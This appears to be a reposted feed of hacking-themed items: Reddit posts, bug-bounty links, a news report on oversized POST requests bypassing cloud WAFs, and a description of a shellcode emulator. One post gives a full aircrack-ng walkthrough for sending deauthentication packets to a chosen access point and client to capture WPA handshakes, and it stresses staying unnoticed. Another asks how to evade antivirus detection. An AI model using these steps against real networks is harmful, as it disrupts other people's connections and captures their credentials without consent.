hacking: security in practice
Here's How Your Router Collects Data and Handles Your Privacy

https://external-preview.redd.it/ybck7pz1chkoOrec8F118VtbWpulpWi-r_TlUAz_TSI.jpg?width=640&crop=smart&auto=webp&s=b92a73e4c723dd3e2e034d9a6220c35ff995404f submitted by /u/failed_evolution
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

The Secret trick for subdomain Enumeration
https://debprasadbanerjee502.medium.com/the-secret-trick-for-subdomain-enumeration-91b28be2b957?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Probably the most covered topic in bug bounty hunting and web apps is subdomain enumeration.Continue reading on Medium » (https://debprasadbanerjee502.medium.com/the-secret-trick-for-subdomain-enumeration-91b28be2b957?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Gold Bug Bounty Resources | Web Application, Android & iOS Security
https://subhdhungana.medium.com/gold-bug-bounty-resources-web-application-android-ios-security-dc88bfb24eb?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Take your time and start learning from these Resources.Continue reading on Medium » (https://subhdhungana.medium.com/gold-bug-bounty-resources-web-application-android-ios-security-dc88bfb24eb?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Black Hat Ethical Hacking
Google WAF bypassed via oversized POST requests

https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Google WAF bypassed via oversized POST requestsPost Views: 26
https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Patreon.png
Reading Time: 2 Minutes
Security limitations in the default protection offered by Google’s web application firewall (WAF) make it possible to bypass the company’s cloud-based defenses.
Researchers at security consultancy Kloudle found they were able to bypass both Google Cloud Platform (GCP) and Amazon Web Services (AWS) web app firewalls just by making a POST request more than 8KB in size.

“The default behavior of Cloud Armor in this case can allow malicious requests to bypass Cloud Armor and directly reach an underlying application,” according to Kloudle.

WAFs are supposed to protect against web-based attacks including SQL Injection and cross-site scripting – even in cases where an underlying application is still vulnerable.

Bypassing this protection would take a potential attacker one step closer to attacking a web-hosted application, provided a targeted endpoint accepts HTTP POST requests “in a manner which could trigger an underlying vulnerability”.

“This issue can be exploited by crafting an HTTP POST request with a body size exceeding the 8KB size limitation of Cloud Armor, where the payload appears after the 8192th byte/character in the request body,” Kloudle explains in a technical blog post.
See Also: Complete Offensive Security and Ethical Hacking Course Under armorThe Cloud Armor WAF from Google comes with a set of preconfigured firewall rules that draw from the open source OWASP ModSecurity Core Rule Set.

Users can block the potential attack vector by configuring a custom Cloud Armor rule to block HTTP requests where the request body is larger than 8192 bytes – a general rule that can be further tweaked to accept defined exceptions.

Although AWS’ WAF has much the same problems, Kloudle faulted GCP for failing to highlight the issue to customers. Other cloud-based WAFs exhibit similar limitations, the researchers said.

Kloudle told The Daily Swig: “This is part of ongoing work… so far, we have seen request body limitations with Cloudflare, Azure, and Akamai as well. Some have 8KB and others extend to 128KB.”

The Daily Swig invited both Google and AWS to comment on Kloudle’s research and what security precautions their cloud customers might like to take as a precaution. We’ll update this story as and when more information comes to hand.
See Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH A representative of Kloudle was sympathetic about security and functionality trade-offs cloud providers are obliged to balance but told The Daily Swig that cloud providers ought to do more to educate users about the issue.

“Perimeter security software is hard. I suspect in this case 8KB limit allows them to reliably process other WAF rules,” the representative explained.

“They could be doing more for developer awareness, including adding that rule by default with the option to disable in case someone wants to.

“As per the shared security responsibility model they put the onus on the end user to use the service securely,” they added. See Also: Recon Tool: Metagoofil Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?

If you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com
See Also: Hacking stories: MafiaB[...]

___________________________
@hacking_Attack
@Hacking_Video

oy, the hacker who took down the Internet
Source: portswigger.net Source Linkhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ezgif.com-gif-maker-4-90x90.jpg Ukraine invasion: WordPress-hosted university websites hacked in ‘targeted attacks’1 day ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ezgif.com-gif-maker-3-90x90.jpg RCE Bugs in WhatsApp, Other Hugely Popular VoIP Apps: Patch Now!2 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/download-90x90.jpg Cyber-attack on Nvidia linked to Lapsus$ ransomware gang3 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/GettyImages-802535150-1-90x90.jpg Conti ransomware’s internal chats leaked after siding with Russia4 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/6469-article-220223-ukraine-body-text-90x90.jpg Data wiper deployed in cyber-attacks targeting Ukrainian systems1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/T8F9rL5Ub6TRWHtQwsVCK6-1200-80-90x90.jpg Samsung Shattered Encryption on 100M Phones1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/4346-article-220222-airtags-body-text-90x90.jpg AirTag clone bypassed Apple’s tracking-protection features, claims researcher1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Banner-Img-AWS-90x90.jpg Introducing Ghostbuster – AWS security tool protects against dangling elastic IP takeovers1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/zabbix_blog_java-apps-90x90.png Critical vulnerabilities in Zabbix Web Frontend allow authentication bypass, code execution on servers2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/ezgif.com-gif-maker-4-1-90x90.jpg GitHub code scanning now finds more security vulnerabilities2 weeks ago
The post Google WAF bypassed via oversized POST requests first appeared on Black Hat Ethical Hacking.

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
For hackers-pirates

Hello, i am a student, and i am writing a project about piracy games. If possible, can anyone help me, and told information about protect from piracy, how you hacking games / films and other things related. thank you in advance and sorry for bad english

submitted by /u/z1dnax
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
A Step By Step Process To Scan An AP - Send A DEAUTH To Affect A Single Client - And Sniff For The Handshake Using airmon-ng / airodump-ng and aireplay-ng

Pre Scan ToDo

---------------

sudo airmon-ng check kill

(Do this. There are processes that will interfere with some functions.)

sudo airmon-ng start wlan0

(This will put card in monitor mode and call it wlan0mon)

When you are done with the attack

-------------------------------------------------

sudo airmon-ng stop wlan0mon

(This drops the interface wlan0mon and returns to managed mode. Back to wlan0)

service NetworkManager restart

********* You are back up and running. *********

To Listen To ALL

________________

sudo airodump-ng -w filename wla0nmon (Listen to All and -w (write) to filename using wlan0mon)

To Listen To A Single AP

---------------------------------

sudo airodump-ng -c (channel #) --bssid XX:XX:XX:XX:XX:XX: -w filename wlan0mon

(This is to capture data on -c (Channel #) on -bssid XX:XX:XX:XX:XX:XX -w (write) to

filename using wlan0mon)

DEAUTH Attack

---------------------

**Note**

Using the command below will DDOS the AP. You'll get your handshakes...however,

let's try to be a little more subtle.

sudo aireplay-ng -0 0 -a XX:XX:XX:XX:XX:XX wlan0mon

(Sends DEAUTH attack to AP.)

**Note**

The options -0 0 is important to be aware of. This is the line between a weapon

or not. The option 0 will flood the -a (BSSID) and will cause all of the clients

to disconnect and not be able to get back online until the flood stops.

Change the option it -0 1 and it will send a single DEAUTH to -a (BSSID). It may

cause some or all of the clients to DEAUTH but it is very quick and subtle.

No one should notice.

sudo aireplay-ng -0 1 -a XX:XX:XX:XX:XX:XX: -c XX:XX:XX:XX:XX:XX wlan0mon

( -c (client) and -a (BSSID) only the -c (client) is affected. Option -0 1

will ensure a single DEAUTH)

******** This point, you will / should get a handshake ********

You'll See The Notification

The Handshake will be in your filename.cap file. This was created from airodump and

includes some other files and formats including .csv .

**Note**

Referencing interfaces wlan0 and wlan0mon. This may be different on your own machine.

Use ifcoing -a (This requests to see all interfaces including ones that are down)

If you get an error when trying to get your wlanX interface into monitor mode, your card may not be able to be placed in that mode. You quickest and easiest solution is to get a USB interface and verify that the device will work in your machine.

Here is the whole thing, start to finish.

Set your WLAN interface to MONITOR mode.

Set up airodump to gather traffic on a particular channel for a specific AP and write to a file.

Sniff a single AP

Gather the Handshake by using a DEAUTH attack.

----------

sudo airmon-ng check kill

sudo airmon-ng start wlan0

sudo airodump-ng -c 11 --bssid XX:XX:XX:XX:XX:XX -w MyTarget wlan0mon

sudo aireplay-ng -0 1 -a XX:XX:XX:XX:XX:XX -c XX:XX:XX:XX:XX:XX

sudo airmon-ng stop wlan0mon

service NetworkManager restart

---------------

I hope this helps.

submitted by /u/infiltrator86
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Recommend a vulnerable IoT device (camera?)

Hi,

Does anyone know of a WiFi camera that has known vulnerabilities?
I want to buy one to use in a college project to show the vulnerabilities being exploited, and then how to harden the network to secure the device.

It would be nice if there is a cheap device that can be accessed externally, and the fix is not updating the default password or firmware.

Any device would do, but a camera seems like a good one to hit home on the invasion of privacy.

Thanks

submitted by /u/Marcasyo
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Raidforums is now run by FBI

https://external-preview.redd.it/9JFYStEBfMPfebqpavPcyhFlefdi2PbnNJe26k8XEpk.jpg?width=108&crop=smart&auto=webp&s=be8efa8f90fadec168bb0a8a8919cdadcc669e87 submitted by /u/scarereeper
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Top 7 Reasons Why Cyber Security Important And Benefits Of Cyber Security

https://external-preview.redd.it/hhhefp7UI8kKVFxx65DTAwLTz34BMXat7eqZX6xYGT8.jpg?width=640&crop=smart&auto=webp&s=da65939dd7c9c91e8f6986213c6182ad8e3d3f1b submitted by /u/BigTechBank
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How do I make it so my exe file isn't detected as virus?

I've had this problem recently and I really need to solve it. Sorry for my ignorance.

​

edit. I forgot to add that I know this isn't the best subreddit to ask this but I just can't find a suited one

submitted by /u/LaughingButter13
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Scemu : X86 32bits Emulator, For Securely Emulating Shellcodes

Scemu is a x86 32bits emulator, for securely emulating shellcodes Features

* rust safety, good for malware.
* All dependencies are in rust.
* zero unsafe{} blocks.

* very fast emulation (much faster than unicorn)
* 3,000,000 instructions/second
* 100,000 instructions/second printing every instruction -vv.

* powered by iced-x86 rust disassembler awesome library.
* iteration detector.
* memory and register tracking.
* colorized.
* stop at specific moment and explore the state or modify it.
* 174 instructions implemented.
* 112 winapi implemented of 5 dlls.
* all linux syscalls.
* SEH chains.
* vectored exception handler.
* PEB, TEB structures.
* memory allocator.
* react with int3.
* non debugged cpuid.
* tests with known payloads:
* metasploit shellcodes.
* metasploit encoders.
* cobalt strike.
* shellgen.
* guloader (not totally for now, but arrive further than the debugger)
TODO

* more fpu
* mmx
* 64 bits
* scripting?

Usage

SCEMU 32bits emulator for Shellcodes 0.2.5
@sha0coder
USAGE:
scemu [FLAGS] [OPTIONS]
FLAGS:
-e, –endpoint perform communications with the endpoint, use tor or vpn!
-h, –help Prints help information
-l, –loops show loop interations, it is slow.
-m, –memory trace all the memory accesses read and write.
-n, –nocolors print without colors for redirectin to a file >out
-r, –regs print the register values in every step.
-V, –version Prints version information
-v, –verbose -vv for view the assembly, -v only messages, without verbose only see the api calls and goes
faster
OPTIONS:
-b, –base set base address for code
-c, –console select in which moment will spawn the console to inspect.
-C, –console_addr spawn console on first eip = address
-a, –entry entry point of the shellcode, by default starts from the beginning.
-f, –filename set the shellcode binary file.
-i, –inspect monitor memory like: -i ‘dword ptr [ebp + 0x24]
-M, –maps select the memory maps folder
-R, –reg trace a specific register in every step, value and content
-s, –string monitor string on a specific address

Some use cases

scemu emulates a simple shellcode detecting the execve() interrupt.
https://blogger.googleusercontent.com/img/a/AVvXsEhqt77IpueeDJ7OkPmyS-K3ap4UJscCw4lZuatucI16N2jQYidOd4xw0VD98YQ56rtBFTk4GV6lAgV5tf4TnY86RwuP_p4x_gc9daj7U5Br51XmNBbKnGArx63qBjPvqUu7O9DKPzy4jZOMU6fBxX7PVEF4ydyWsrrCjmsbmotRBb2_sMAY7H9o1MuT=s581
We select the line to stop and inspect the memory
https://blogger.googleusercontent.com/img/a/AVvXsEgE5W9XzE1NzvcMNqDS337FDgaSZWELTHf0X3iE283yjovJFnLWx6FraXH5fUK_rVeyh_-0ENR_t2dLRteFh1kk8tHzWFj6IaH7XrTy6XgEvwDgcLzoctcLZhWjQhowRdLDJavfb9OaaueGOR2JnnkAwSf4ZqAEfynsWPSmJly-oJhgNtAxsfUmTske=s661
After emulating near 2 million instructions of GuLoader win32 in linux, faking cpuid’s and other tricks in the way, arrives to a sigtrap to confuse debuggers.
https://blogger.googleusercontent.com/img/a/AVvXsEgSThJsag8KJFyhQzHMdXD84Moi3LgwvhOnNqNwl_xc3BTpvpbyvFqVTcYlET4tLICufAXgDWa1ZfXtmiuePtQe1_A8PdL7i_bbFjKDCchA23azvMzo2-zDSugoi0xMZvbK2KNjeL0n0drhWjk1s1CiDgG7RZ2Ai_l_7KjsyNIpQ2cLvbW9dS8sSPVE=s908
Example of memory dump on the api loader.
https://blogger.googleusercontent.com/img/a/AVvXsEj8CYySILs33RXh74gdrX-i3aGwRHmUw8-_Pht9A2sd3RRj7iAyk7b1vuLq1SU-IqwlRRJZwYIbb9PEYh6u70BvgfhbiSc_q-4HfrlSxJ_RgYLbtalvZpS6LWTpoA74ARxzLvkoV-es00K0whCvfO3TIxUrlX4I4SBMtu8bnT8VfRIqvk4KxqVPrYx-=s625
There are several maps by default, and can be created more with apis like LoadLibraryA or manually from the console
https://blogger.googleusercontent.com/img/a/AVvXsEgeD0_mDmNmvX_Cdn-8v-mWCzvbdFfKjli_U1aRlk4xrl78EAb60q8B4lUT6GuJThoyvQfj4lklWj8LhIL27lvPGGkZWvB4Pl6G4b5YNRv4wAZoW4oaV6A9_NpZewEwG6OfDuYdTbk1FzSHf2JpBNQcUeV22AJZcei_0oRomiVV6WxrQXT83pSq0jZj=s625
Emulating basic windows shellcode based on LdrLoadDLl() that prints a m[...]

___________________________
@hacking_Attack
@Hacking_Video